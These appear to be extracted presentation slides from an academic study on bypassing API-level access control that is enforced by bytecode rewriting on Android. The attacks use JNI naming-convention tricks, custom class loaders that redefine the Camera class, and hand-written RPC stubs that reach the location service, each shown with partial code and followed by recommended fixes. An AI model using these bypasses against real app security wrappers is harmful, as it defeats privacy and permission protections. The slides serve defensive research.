Transcript Slides - Computing and Information Studies
Hao Hao
Syracuse University
Vicky Singh
Syracuse University
Wenliang Du
Syracuse University
Agenda
Introduction on API-level Access Control using Bytecode Rewriting Analysis on Existing Works Attacks Recommendations
Android Permission System
Current Android install-time permission system Application Android API Privileged Resources Check Permissions Coarse-grained Permissions e.g., INTERNET permission
API-level Access Control
Impose fine-grained access control Instrument applications
Bytecode rewriting
Native library rewriting Modify Android platform Flexibility Rich context information Easy deployment
Existing Works
Bytecode rewriting
Improving privacy on android smartphones through in-vivo bytecode instrumentation. A. Bartel, J. Klein, K. Allix, Y. Traon, and M. Monperrus.
I-arm-droid: A rewriting framework for in-app reference monitors for android applications.
B. Davis, B. Sanders, A. Khodaverdian, and H. Chen.
Dr. android and Mr. hide: Fine-grained security policies on unmodified android.
J. Jeon, K. K. Micinski, and J. A. Vaughan Application-centric security policies on unmodified android.
N. Reddy, J. Jeon, J. Vaughan, T. Millstein, and J. Foster
Objective
Systematic evaluation to assess the effectiveness of API-level access control using bytecode rewriting on Android platform
API-level Access Control Using Bytecode Rewriting
Design
Secure Wrapper Application Android API Privileged Resources
Implementation Original App.apk
Dalvik Bytecode Static Analysis Dalvik Bytecode Rewriting Repackage and Resigning
Secure App.apk
Android API Architecture
System Server Process Application Process Dalvik Virtual Machine Dalvik Virtual Machine Secure Wrapper Application Android APIs Binder System Services Java Native Interface Native Shared Library Kernel Space Linux Kernel
API-level Access Control
System Server Process Application Process 3 Dalvik Virtual Machine Dalvik Virtual Machine Secure Wrapper Application
Effectiveness of
Android APIs Binder System Services 4 Java Native Interface 2 1 Native Shared Library Kernel Space Linux Kernel
Path 2: Invoke Native Libraries Directly
Background: Java Native Interface Enable communications between Java code and native code.
myLib.so
Usage JNIEXPORT jlong Java_edu_com_MyClass_myFunc( JNIEnv* env, jobject thiz); } package edu.com; public class MyClass { native public long myFunc(); static { System.loadLibrary("myLib"); } static JNINativeMethod method_table [] = {{ "myFunc", "(J)J", (void *) myFunc_Implementation }}; extern "C" jint JNI_OnLoad(JavaVM* vm, ... ) { jclass c = env->FindClass("edu/com/MyClass"); env->RegisterNatives(c, method_table, 1); }
Exploit JNI Naming Convention
Objective
Path 2:
Invoke a native library function without going through its corresponding Java API to evade the restriction enforced by the secure wrapper.
Application Methods Secure Wrapper Android APIs JNI Shared Libraries JNI
Path 2:
}
Exploit JNI Naming Convention
JNIEXPORT jlong package edu.com; Java_edu_com_MyClass_my_Func( JNIEnv* env, public class MyClass { native public long my_Func(); jobject thiz); JNIEXPORT jlong Java_edu_com_MyClass_my_1Func( JNIEnv* env, jobject thiz); Attempts 1: (Fail) } package edu.com.MyClass; public class my { native public long Func(); Attempts 2: (Success) } package edu.com.MyClass; public class my { native long 1Func(); static { System.loadLibrary(’myLib’); }
Path 2: Case Study
In sqlite_jni library, we found functions with the "_1" pattern in the names.
By invoking SQLite.Database.error.1string we successfully invoked Java_SQLite_Database_error_1string.
} package SQLite.Database; public class error { public static native String 1string(...);
static{
System.loadLibrary(’sqlite_jni’); } JNIEXPORT jstring JNICALL Java_SQLite_Database_error_1string(JNIEnv *env, …)
{ … sqlite_jni.so
}
Path 2:
Exploit Java Class Reloading
Objective modify the implementation of the APIs that the wrapper is trying to protect.
Application Class Loader Secure Wrapper Customized Android APIs JNI Shared Libraries
Path 2: Exploit Java Class Reloading
Attempts 1: (Fail) use DexClassLoader to load redefined class } package android.hardware; public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); DexClassLoader classLoader = new DexClassLoader ("Camera.apk", ..., getClassLoader()); Class mClass = classLoader.loadClass("android.hardware.Camera"); android.hardware.Camera c = (android.hardware.Camera)mClass.newInstance(); //Access the privileged native code through someFunc() c.someFunc(); Class cannot be loaded again
Path 2: Exploit Java Class Reloading
Attempts 2: (Success) Use user-define class loader } package android.hardware; public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); Override loading policy } public class MyDexLoader extends BaseDexClassLoader { // Constructor omitted @Override public Class> loadClass(String s) { Class c; try { c = super.findClass(s); return c; } catch (ClassNotFoundException e) { // handling the exceptions } return null; }
Path 2: Case Study
Performed our attack on a camera application. Bytecode rewriter enforced finer-grained access control on method
Camera.takePicture
public class SecureCamera{ public static void takePicture(Camera camera, ...){ Time now = new Time(); now.setToNow();
if(now.hour > 8 && now.hour < 18) {
camera.takePicture(...); }}} Take pictures between 8am to 6pm reload redefined android.hardware.Camera class into a new class loader.
package android.hardware; public class Camera { public void takeMyPicture(...) {...}}
Path 2: Case Study
Associate native Java methods of Camera class with corresponding native library functions.
registers native functions with Camera Java class //Create a customized class loader MyDexLoader ld = new MyDexLoader(...); //Load redefined Camera class Class c = ld.loadClass("android.hardware.Camera"); Class util = ld.loadClass("com.android.internal.util.WithFramework"); Method m = util.getDeclaredMethod("registerNatives", ...); m.invoke(...); Then attackers can use their customized class definition //Invoke takeMyPicture method using reflection m = c.getDeclaredMethod("takeMyPicture", ...); m.invoke(...); ... }
Path 2: Recommendations
Recommendations for Exploit JNI Naming Convention If any Java methods start with numbers, bytecode rewriter should remove the digit as it is illegal.
Recommendations for Exploit Java Class Reloading One possible way is bytecode rewriter should restrict all the invocations of methods within the call chain from findClass in the class BaseDexClassLoader to loadClass in DexFile.
Path 3: Exploit Customized RPC Stubs
Objective Applications code can directly communicate with the system services without going through APIs that invoke RPC stubs.
Application Customized RPC Stubs Secure Wrapper Android APIs Attack Native Shared Library write attackers own RPC stub to communicate with System Service
Path 3: Case Study
Evaluated on a geolocation application. Bytecode rewriter enforced fine access control policy on method
getLastKnownLocation.
class SecureLocationManager extends LocationManager{ public Location getLastKnownLocation(...) { Location loc = super.getLastKnownLocation(...); if(loc.getLatitude()>60&&loc.getLatitude()<70&& loc.getLongtitude()>140&&loc.getLongtitude() <160) { return loc; }} Retrieve location information when the location is within Alaska.
Path 3: Case Study
Attackers can introduce customized RPC with different method signature.
package my.location; /* User-defined RPC stub class */ public interface LocMgr extends android.os.IInterface { public static abstract class Stub extends android.os.Binder implements my.location.LocMgr {...}} Use customized RPC with different method signature to bypass access control placed on getLastKnownLocation API.
import my.location.LocMgr;
IBinder b=android.os.ServiceManager.getService(LOCATION_SERVICE); LocMgr sLocationManger = LocMgr.Stub.asInterface(b); Location loc = sLocationManger.getLastKnownLocation(...);
Path 3: Recommendation
The fix is to apply the API-level access control on android.os.ServiceManager’s getService API, so application’s Java code cannot use this API to get system services.
Conclusion
Our work manifests the need to address all the above attacks to fulfill an effective API-level access control using bytecode rewriting.